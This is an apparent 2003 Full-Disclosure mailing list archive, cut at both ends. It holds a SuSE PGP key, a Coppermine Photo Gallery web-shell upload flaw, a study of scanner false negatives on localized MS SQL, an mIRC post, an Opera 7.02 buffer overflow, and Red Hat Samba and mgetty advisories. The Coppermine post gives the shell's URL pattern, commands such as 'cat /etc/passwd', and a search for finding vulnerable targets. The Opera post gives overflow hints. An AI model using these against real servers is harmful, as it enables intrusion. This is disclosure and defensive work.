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 DgCfZ5Wj+f7cnYpFZI6GkAyyczG09sE= =LRKC - -----END PGP PUBLIC KEY BLOCK----- Roman Drahtm?ller, SuSE Security. - -- - - | Roman Drahtm?ller // "You don't need eyes to see, | SuSE Linux AG - Security Phone: // you need vision!" | N?rnberg, Germany +49-911-740530 // Maxi Jazz, Faithless | - - -----BEGIN PGP SIGNATURE----- Version: 2.6.3in Charset: noconv iQEVAwUBPpHeXHey5gA9JdPZAQH7VQf/SGvvOynFnOJpobOQIySZw5ihUqcDtmgb aVQQmNuEPHLmeiJYRwMBg7+/SSxYkoPHu8VZbl/6FvKpnw1TXccCbj1zft+KDQBA 0WkKldfMKT9TEXEA9H/y/2LVFeXHLObs0Iv1emn5SfZ8BkdZt9xKvbRug2TYvbcI jDj6u+jGMLh4rUCTlrwjaJaqTLsiRP1g++9ThEeaC8Y14eJp91oTDo7GmKstLG/q c9YzH71Z1QJ4PZBaLPYGQCDhcyljvGVfpTCkL3HjuNsD8qltEGH1lPla/KEbulaq XHOHwbpOJCJdeMu0iFKfNQeAsVz1lfp5G8OS9XalmbfQSWaQPFT5hA== =Ce5b -----END PGP SIGNATURE----- From BlueBoar at thievco.com Mon Apr 7 22:11:58 2003 From: BlueBoar at thievco.com (Blue Boar) Date: Mon, 07 Apr 2003 14:11:58 -0700 Subject: [Full-Disclosure] U.S. military helps fund Calgary hacker with $2.3 million In-Reply-To: References: Message-ID: <3E91E99E.8090305@thievco.com> Pekka Savola wrote: > That claim is certainly untrue. > > If you take a default install from 7 years back, you certainly have more > remote holes, in services that have since been removed from the default > install -- looking 7 years back from *current* default install, not > default install *7 years back*. I think that's what they're trying to claim. IIRC, the hole that got them to change to the current "only one hole..." was one of the OpenSSH holes. What other remote hole(s) were in the default install? OpenBSD is supposed to be June 1, 1997, so I guess the 7 years is intended to cover the entire life of OpenBSD? (I am an OpenBSD fan in general, and I think they have a strong security track record. I don't think the current claim under discussion is particularly strong though... if you want to be sarcastic, my Apple ][, C64, and MS-DOS machines have had 0 remote holes in the default installs for 20-odd years, and I don't see that changing anytime soon.) BB From SkyLined at edup.tudelft.nl Mon Apr 7 17:47:57 2003 From: SkyLined at edup.tudelft.nl (Berend-Jan Wever) Date: Mon, 7 Apr 2003 18:47:57 +0200 Subject: [Full-Disclosure] Coppermine Photo Gallery remote compromise Message-ID: <001601c2fd25$717f2350$0100a8c0@grotedoos> ---AFFECTED SOFTWARE--- >From the website, http://www.chezgreg.net/coppermine/: "Coppermine Photo Gallery is a picture gallery script. Users can upload pictures with a web browser (thumbnails are created on the fly), add comments, send e-cards and view statistics about the pictures. " "The script use PHP, a MySQL database and the GD library (version 1.x or 2.x) or ImageMagick to make the thumbnails. An install script makes the installation very fast and easy." The problem was found in Coppermine 1.0 RC3, the latest stable release. The latest beta (1.1 beta 2) is not affected according to the author. ---PROMBLEMS--- Coppermine allows the uploading of images onto a server by logged in users and in a lot of configurations even anonymous uploading. The upload script has a buggy extention checking routine which allows the uploading of ".jpg.php" files. These files need to be a valid jpg-files or Coppermine will delete them. It is trivial to create a file which is a valid jpg and also a valid PHP script. Once uploaded, the PHP script can then be executed, allowing access to the remote server under the priviledges of the user PHP is running under. ---EXPLOIT--- Attached is a working exploit, upload this onto a vulnerable server and execute it like this: /albums/userpics/Copperminer.jpg.php?[command] Where command can be something like "id;uname%20-a" or "cat%20/etc/passwd" Note 1: MSIE will display Copperminer.jpg.php as an image, but lynx will display the output of the command you gave it. Note 2: http://www.google.com/search?q=allinurl%3A+/upload.php?album= ---TIMELINE--- mar 31, 2003 - Issue discovered, working exploit written. mar 31, 2003 - Author contacted, problem aknowledged by author. apr 05, 2003 - Patches released through Coppermine website. apr 07, 2003 - Information disclosed. ---PATCH--- Can be found at http://www.chezgreg.net/coppermine/ Kind regards, Berend-Jan Wever http://spoor12.edup.tudelft.nl -------------- next part -------------- A non-text attachment was scrubbed... Name: Copperminer.jpg.php Type: application/octet-stream Size: 5340 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20030407/7c70612e/attachment-0001.obj From ngregoire at exaprobe.com Mon Apr 7 11:06:28 2003 From: ngregoire at exaprobe.com (Nicolas Gregoire) Date: 07 Apr 2003 12:06:28 +0200 Subject: [Full-Disclosure] False-negatives in several Vulnerability Assessment tools Message-ID: <1049709988.546.35.camel@bobby> ------------------------------------------------------------------------ Title : False-negatives in several Vulnerability Assessment tools Released : April 7th 2003 Location : http://www.exaprobe.com/labs/advisories/esa-2003-0407.html ------------------------------------------------------------------------ General overview ================ Numerous Vulnerability Assessment (VA) tools are available for security engineers, pen-testers and network administrators. Their results are mostly trusted by users since they don't have time nor competences to validate that output. More and more softwares are currently implementing some banners and error messages that depend on the language. Especially for commercial softwares, like Microsoft SQL Server or the Windows operating system. Some VA tools don't integrate this localization feature and so generate false-negatives. It can thus lead to a false sense of security. Some exploit work on the English as well as on some non-English versions, it then constitutes a security breach. We chose to demonstrate those security exposures on Microsoft SQL Server with the "SQL Server blank password" vulnerability. Please note that this is not the only issue : - Some problems were found when VA tools began to detect the IIS/Unicode vulnerability, like the unicoder.pl script of HD Moore, which is looking for the localizable string "Directory of" [1]. - The admin account on Windows operating systems depends on the localization. On English-speaking versions, the name is "Administrator", whereas on French version (for example), it is "Administrateur". This leads to issues on brute-force attacks. A pratical example ================== Introduction ============ Microsoft SQL Server is a perfect choice to test VA tools about localization issues because it is widely deployed, it depends on the localization and it is vulnerable to some well-known security flaws. Testing conditions ================== First, we set up default installations of Microsoft SQL Server 2000 on Win2K SP3, in the following languages : - English - French - German - Japan The "sa" admin account was set with a blank password. We tested every VA tools from our panel on the English version looking for the vulnerability CAN-2000-1209 ("MS-SQL blank password"). Products which found this breach were then tested on the other languages. Tested VA tools =============== - ISS Database Scanner - Vigilante SecureScan NX - eEye Retina Network Scanner - eEye Spida Scanner (dedicated to find blank "sa" accounts) - Nessus - Sensepost senseql Untested (or untestable) VA tools ================================= - ISS Security Scanner (doesn't do this check) - Symantec NetRecon (doesn't do this check) - NetIQ (doesn't do this check) - GFI LANGuard (unreliable results) Results ======= +----------------------+-----------------+------------------+ | VA Tool | English version | Others languages | +----------------------+-----------------+------------------+ | ISS Database Scanner | OK | OK | +----------------------+-----------------+------------------+ | Vigilante Secure NX | OK | False-negative | +----------------------+-----------------+------------------+ | eEye Retina Scanner | OK | False-negative | +----------------------+-----------------+------------------+ | eEye Spida Scanner | OK | False-negative | +----------------------+-----------------+------------------+ | Nessus | OK | False-negative | +----------------------+-----------------+------------------+ | Sensepost senseql | OK | False-negative | +----------------------+-----------------+------------------+ Notes about the above results ============================= - The eEye Retina Scanner was tested on this point some time ago. Amazingly, it used to detect this vulnerability on non-English versions of Microsoft SQL Server. - Informal discussions with nCircle developpers conclude that their VA tool shouldn't be affected by this problem. - The exploit code nammed SQLpoke [2] (used in the Worm.SQLSpida.A malware [3]) succeeds to compromize every localized Microsoft SQL server. This implementation operates at the application level. Editors status ============== - Vigilante Secure NX : Work in progress on the editor side ... - eEye Retina Scanner : Work in progress on the editor side ... - Nessus : We provided the Nessus team with some patches which were integrated to the related plugins - Sensepost senseql : A new release is available at [4] Conclusion ========== In our opinion, it's now up to VA tools editors to take into account the localization issues when developping pattern matching signatures. Of course, security engineers and consultants should review every scan reports for false-positives. They should also run several tools in order to better detect false-negatives. A good way to avoid these problems would be to check vulnerabilies at an application level, like the SQLpoke exploit code. Credits ======= Nicolas Gregoire, security engineer - initial discovery of the MS-SQL localization bug - testing and redaction Philippe Conchonnet, security consultant - testing of Windows-based VA tools Christophe Briguet, technical manager - review of the document References ========== [1] : http://packetstormsecurity.org/NT/scanners/Sqlpoke.zip [2] : http://lists.insecure.org/lists/pen-test/2001/Jun/0128.html [3] : http://www.avp.ch/avpve/worms/sqlspida.stm [4] : http://www.exaprobe.com/labs/downloads/tools/senseql-1.1.tgz -- Nicolas Gregoire ----- Consultant en S?curit? des Syst?mes d'Information ngregoire at exaprobe.com ------[ ExaProbe ]------ http://www.exaprobe.com/ PGP KeyID:CA61B44F FingerPrint:1CC647FF1A55664BA2D2AFDACA6A21DACA61B44F From kain at ircop.dk Mon Apr 7 19:05:10 2003 From: kain at ircop.dk (=?iso-8859-1?Q?Knud_Erik_H=F8jgaard?=) Date: Mon, 7 Apr 2003 20:05:10 +0200 Subject: [Full-Disclosure] mIRC "dcc filename spoofing" Message-ID: <005701c2fd30$3b220ce0$24029dd9@tuborg> Attached document explains all. Rant: People using a product called 'antigen' should be shot, stabbed, and shot again. Today, more than a month after posting DSR-toppler.pl and sircd.sh, I _still_ get 5-8 emails a day saying that 'a virus have been found and quarantined'. Oh please, get a grip. And please oh please stop sending email from invalid addresses, I can't even mail you back and tell you what I think of your AV solution. -- Knud Erik H?jgaard -------------- next part -------------- An embedded and charset-unspecified text was scrubbed... Name: DSR-mirc-filenames.txt Url: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20030407/483f9f76/attachment.txt From gossi at lab6.com Tue Apr 8 00:40:33 2003 From: gossi at lab6.com (Gossi The Dog) Date: Tue, 8 Apr 2003 00:40:33 +0100 Subject: [Full-Disclosure] mIRC "dcc filename spoofing" In-Reply-To: <005701c2fd30$3b220ce0$24029dd9@tuborg> Message-ID: <002f01c2fd5f$150cdc40$900f1e3e@delacruz> This is, of course, the same rehash of the same advisory released saying the same thing about 3 times over as many years. Has anybody actually reported the problem to the developer? -----Original Message----- From: full-disclosure-admin at lists.netsys.com [mailto:full-disclosure-admin at lists.netsys.com] On Behalf Of Knud Erik H?jgaard Sent: 07 April 2003 19:05 To: bugtraq at securityfocus.com; full-disclosure at lists.netsys.com; vulnwatch at vulnwatch.org Subject: [Full-Disclosure] mIRC "dcc filename spoofing" Attached document explains all. Rant: People using a product called 'antigen' should be shot, stabbed, and shot again. Today, more than a month after posting DSR-toppler.pl and sircd.sh, I _still_ get 5-8 emails a day saying that 'a virus have been found and quarantined'. Oh please, get a grip. And please oh please stop sending email from invalid addresses, I can't even mail you back and tell you what I think of your AV solution. -- Knud Erik H?jgaard From conde0 at telefonica.net Tue Apr 8 02:39:26 2003 From: conde0 at telefonica.net (David F.Madrid) Date: Mon, 7 Apr 2003 22:39:26 -0300 (ART) Subject: [Full-Disclosure] Unchecked Buffer in Opera 7.02 Message-ID: <46713.80.58.4.235.1049765966.squirrel@www.vsantivirus.com> Tested version : Opera 7.02 Build 2668 Vendor Status : Vendor was contacted on 8-4-2003 Description : Opera web browser has an unchecked buffer in his code that allow a malicious website to crash it and in certain circumstances , execute code with user priviliges . To reproduce the bug open this link http://usuarios.lycos.es/idoru/aaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.zip Opera crashes with an access violation . Instruction pointer EIP is overwritten by the file name converted to unicode . That makes only possible to reference certain addresses in memory to execute . To place your code to execute in a valid address you have to assign it to an enviroment variable .That place your code in an address that can be referenced by EIP ( ~00010040 ) -- Regards , David F.Madrid Madrid , Spain From bugzilla at redhat.com Tue Apr 8 08:02:00 2003 From: bugzilla at redhat.com (bugzilla at redhat.com) Date: Tue, 8 Apr 2003 03:02 -0400 Subject: [Full-Disclosure] [RHSA-2003:137-01] New samba packages fix security vulnerability Message-ID: <200304080702.h3872Ns10552@porkchop.devel.redhat.com> --------------------------------------------------------------------- Red Hat Security Advisory Synopsis: New samba packages fix security vulnerability Advisory ID: RHSA-2003:137-01 Issue date: 2003-04-08 Updated on: 2003-04-08 Product: Red Hat Linux Keywords: smb Cross references: Obsoletes: RHSA-2003:095 CVE Names: CAN-2003-0196 CAN-2003-0201 --------------------------------------------------------------------- 1. Topic: Updated Samba packages that fix a security vulnerability are now available for Red Hat Linux 7.2, 7.3, 8.0, and 9. Packages for Red Hat Linux 7.1 will be added shortly. 2. Relevant releases/architectures: Red Hat Linux 7.2 - i386, ia64 Red Hat Linux 7.3 - i386 Red Hat Linux 8.0 - i386 Red Hat Linux 9 - i386 3. Problem description: Samba is a suite of utilities which provide file and printer sharing services to SMB/CIFS clients. A security vulnerability has been found in versions of Samba up to and including 2.2.8. An anonymous user could exploit the vulnerability to gain root access on the target machine. Note that this is a different vulnerability than the one fixed by RHSA-2003:095. An exploit for this vulnerability is publicly available. All users of Samba are advised to update to the packages listed in this erratum, which contain a backported patch correcting this vulnerability. 4. Solution: Before applying this update, make sure all previously released errata relevant to your system have been applied. To update all RPMs for your particular architecture, run: rpm -Fvh [filenames] where [filenames] is a list of the RPMs you wish to upgrade. Only those RPMs which are currently installed will be updated. Those RPMs which are not installed but included in the list will not be updated. Note that you can also use wildcards (*.rpm) if your current directory *only* contains the desired RPMs. Please note that this update is also available via Red Hat Network. Many people find this an easier way to apply updates. To use Red Hat Network, launch the Red Hat Update Agent with the following command: up2date This will start an interactive process that will result in the appropriate RPMs being upgraded on your system. 5. Bug IDs fixed (http://bugzilla.redhat.com/bugzilla for more info): 86307 - Netlogon causes DoS since upgrade to latest update 82041 - ignores wide links, serving files which shouldn't be served 6. RPMs required: Red Hat Linux 7.2: SRPMS: ftp://updates.redhat.com/7.2/en/os/SRPMS/samba-2.2.7-3.7.2.src.rpm i386: ftp://updates.redhat.com/7.2/en/os/i386/samba-2.2.7-3.7.2.i386.rpm ftp://updates.redhat.com/7.2/en/os/i386/samba-common-2.2.7-3.7.2.i386.rpm ftp://updates.redhat.com/7.2/en/os/i386/samba-client-2.2.7-3.7.2.i386.rpm ftp://updates.redhat.com/7.2/en/os/i386/samba-swat-2.2.7-3.7.2.i386.rpm ia64: ftp://updates.redhat.com/7.2/en/os/ia64/samba-2.2.7-3.7.2.ia64.rpm ftp://updates.redhat.com/7.2/en/os/ia64/samba-common-2.2.7-3.7.2.ia64.rpm ftp://updates.redhat.com/7.2/en/os/ia64/samba-client-2.2.7-3.7.2.ia64.rpm ftp://updates.redhat.com/7.2/en/os/ia64/samba-swat-2.2.7-3.7.2.ia64.rpm Red Hat Linux 7.3: SRPMS: ftp://updates.redhat.com/7.3/en/os/SRPMS/samba-2.2.7-3.7.3.src.rpm i386: ftp://updates.redhat.com/7.3/en/os/i386/samba-2.2.7-3.7.3.i386.rpm ftp://updates.redhat.com/7.3/en/os/i386/samba-common-2.2.7-3.7.3.i386.rpm ftp://updates.redhat.com/7.3/en/os/i386/samba-client-2.2.7-3.7.3.i386.rpm ftp://updates.redhat.com/7.3/en/os/i386/samba-swat-2.2.7-3.7.3.i386.rpm Red Hat Linux 8.0: SRPMS: ftp://updates.redhat.com/8.0/en/os/SRPMS/samba-2.2.7-5.8.0.src.rpm i386: ftp://updates.redhat.com/8.0/en/os/i386/samba-2.2.7-5.8.0.i386.rpm ftp://updates.redhat.com/8.0/en/os/i386/samba-common-2.2.7-5.8.0.i386.rpm ftp://updates.redhat.com/8.0/en/os/i386/samba-client-2.2.7-5.8.0.i386.rpm ftp://updates.redhat.com/8.0/en/os/i386/samba-swat-2.2.7-5.8.0.i386.rpm Red Hat Linux 9: SRPMS: ftp://updates.redhat.com/9/en/os/SRPMS/samba-2.2.7a-8.9.0.src.rpm i386: ftp://updates.redhat.com/9/en/os/i386/samba-2.2.7a-8.9.0.i386.rpm ftp://updates.redhat.com/9/en/os/i386/samba-common-2.2.7a-8.9.0.i386.rpm ftp://updates.redhat.com/9/en/os/i386/samba-client-2.2.7a-8.9.0.i386.rpm ftp://updates.redhat.com/9/en/os/i386/samba-swat-2.2.7a-8.9.0.i386.rpm 7. Verification: MD5 sum Package Name -------------------------------------------------------------------------- 4753f8b50da25cd251354248cc309930 7.2/en/os/SRPMS/samba-2.2.7-3.7.2.src.rpm 9047e4072c65e9f11bbfbb00e45ee257 7.2/en/os/i386/samba-2.2.7-3.7.2.i386.rpm df7f4ba09d0ead29e1e06b8467b30935 7.2/en/os/i386/samba-client-2.2.7-3.7.2.i386.rpm d035f89b5155099232eb1d12e3b551ef 7.2/en/os/i386/samba-common-2.2.7-3.7.2.i386.rpm 7c852414dc27505e6cad198d1059580a 7.2/en/os/i386/samba-swat-2.2.7-3.7.2.i386.rpm 208fc22f66c028014ee590fd4b09cd8f 7.2/en/os/ia64/samba-2.2.7-3.7.2.ia64.rpm f4cc93943361cd213269e1ba40da0b18 7.2/en/os/ia64/samba-client-2.2.7-3.7.2.ia64.rpm d333b4149ef242d6c4059f45f462219d 7.2/en/os/ia64/samba-common-2.2.7-3.7.2.ia64.rpm d7116e4dc29f5ca4de4cf97c4bb945bb 7.2/en/os/ia64/samba-swat-2.2.7-3.7.2.ia64.rpm 0fd8526d3a8f5e441bc16098e124b285 7.3/en/os/SRPMS/samba-2.2.7-3.7.3.src.rpm edbd81c52155a0b7eb107fda054ca945 7.3/en/os/i386/samba-2.2.7-3.7.3.i386.rpm 7c03367ed0576d580a60df18d97c6681 7.3/en/os/i386/samba-client-2.2.7-3.7.3.i386.rpm 689ca3fed3b63d59d680109881c610bb 7.3/en/os/i386/samba-common-2.2.7-3.7.3.i386.rpm 343902163244399713a77161c8cc58f5 7.3/en/os/i386/samba-swat-2.2.7-3.7.3.i386.rpm 2198081f27c842f66377c9b595b4694d 8.0/en/os/SRPMS/samba-2.2.7-5.8.0.src.rpm 2fea298375c9f6307e84dc384c97c63c 8.0/en/os/i386/samba-2.2.7-5.8.0.i386.rpm 559490c7bddce43b98c4a65cfdc03e29 8.0/en/os/i386/samba-client-2.2.7-5.8.0.i386.rpm 0c20656f0202f421bf8ae536d1347a98 8.0/en/os/i386/samba-common-2.2.7-5.8.0.i386.rpm 0c0542bdd2f787b72e440af66927f9f1 8.0/en/os/i386/samba-swat-2.2.7-5.8.0.i386.rpm 9e1763f38f616b76030584eea6e4bbaf 9/en/os/SRPMS/samba-2.2.7a-8.9.0.src.rpm 4fca0fbb65534abf85972deb9bfed4bc 9/en/os/i386/samba-2.2.7a-8.9.0.i386.rpm 9e40436148d54048e22670787a66a92e 9/en/os/i386/samba-client-2.2.7a-8.9.0.i386.rpm ef0c8e03cd63888283e58e4b9e5a84fb 9/en/os/i386/samba-common-2.2.7a-8.9.0.i386.rpm 23277324eca8438aa7c4ae67ea4f7594 9/en/os/i386/samba-swat-2.2.7a-8.9.0.i386.rpm These packages are GPG signed by Red Hat for security. Our key is available at http://www.redhat.com/solutions/security/news/publickey/ You can verify each package with the following command: rpm --checksig -v If you only wish to verify that each package has not been corrupted or tampered with, examine only the md5sum with the following command: md5sum 8. References: http://www.digitaldefense.net/labs/advisories/DDI-1013.txt http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0196 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0201 9. Contact: The Red Hat security contact is . More contact details at http://www.redhat.com/solutions/security/news/contact/ Copyright 2003 Red Hat, Inc. From guninski at guninski.com Tue Apr 8 08:44:42 2003 From: guninski at guninski.com (Georgi Guninski) Date: Tue, 08 Apr 2003 10:44:42 +0300 Subject: [Full-Disclosure] U.S. military helps fund Calgary hacker with $2.3 million In-Reply-To: <20030407174854.GA25737@cs.utk.edu> References: <3E9195A5.1010006@guninski.com> <20030407174854.GA25737@cs.utk.edu> Message-ID: <3E927DEA.1010907@guninski.com> David Vasil wrote: > > I believe the article took the quote from openbsd.org's front > page: > > "Only one remote hole in the default install, in more than 7 years!" > > and extended it beyond the scope of a "default install" to all > software the openbsd project develops. > Yes, probably this is the case and most journalists are quite clueless. Anyway the rest of the article is nice. Georgi From vdongen at hetisw.nl Tue Apr 8 08:49:13 2003 From: vdongen at hetisw.nl (I.R.van Dongen) Date: Tue, 8 Apr 2003 09:49:13 +0200 Subject: [Full-Disclosure] Unchecked Buffer in Opera 7.02 In-Reply-To: <46713.80.58.4.235.1049765966.squirrel@www.vsantivirus.com> References: <46713.80.58.4.235.1049765966.squirrel@www.vsantivirus.com> Message-ID: <20030408094913.6df11884.vdongen@hetisw.nl> Opera 6.11 (Linux does not seem to be affected. ntentas descargar este archivo desde una p?gina gratuita de usuario de Tripod : http://usuarios.lycos.es/idoru/aaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.zip Para acceder a este archivo, necesitas visitar la p?gina del usuario: http://usuarios.lycos.es/idoru (ser?s remitido autom?ticamente a Lycos Tripod Espa?a en 5 segundos) My spanish isn't that good, but it seems I get a nice 404 page. Greetings, Ivo van Dongen On Mon, 7 Apr 2003 22:39:26 -0300 (ART) "David F.Madrid" wrote: > > Tested version : Opera 7.02 Build 2668 > > Vendor Status : Vendor was contacted on 8-4-2003 > > Description : > > Opera web browser has an unchecked buffer in his code that allow a > malicious website to crash it and in certain circumstances , execute code > with user priviliges . > > To reproduce the bug open this link > > http://usuarios.lycos.es/idoru/aaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.zip > > Opera crashes with an access violation . Instruction pointer EIP is > overwritten by the file name converted to unicode . That makes only > possible to reference certain addresses in memory to execute . To place > your code to execute in a valid address you have to assign it to an > enviroment variable .That place your code in an address that can be > referenced by EIP ( ~00010040 ) > > > -- > > Regards , > > David F.Madrid > Madrid , Spain > > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html > From bugzilla at redhat.com Tue Apr 8 13:17:00 2003 From: bugzilla at redhat.com (bugzilla at redhat.com) Date: Tue, 8 Apr 2003 08:17 -0400 Subject: [Full-Disclosure] [RHSA-2003:036-01] Updated mgetty packages available Message-ID: <200304081217.h38CH1s08544@porkchop.devel.redhat.com> --------------------------------------------------------------------- Red Hat Security Advisory Synopsis: Updated mgetty packages available Advisory ID: RHSA-2003:036-01 Issue date: 2003-04-08 Updated on: 2003-04-08 Product: Red Hat Linux Keywords: mgetty spool permission Cross references: Obsoletes: RHSA-2001:050 CVE Names: CAN-2002-1391 CAN-2002-1392 --------------------------------------------------------------------- 1. Topic: Updated mgetty packages are now available for Red Hat Linux 7.1, 7.2, 7.3, and 8.0. These updates 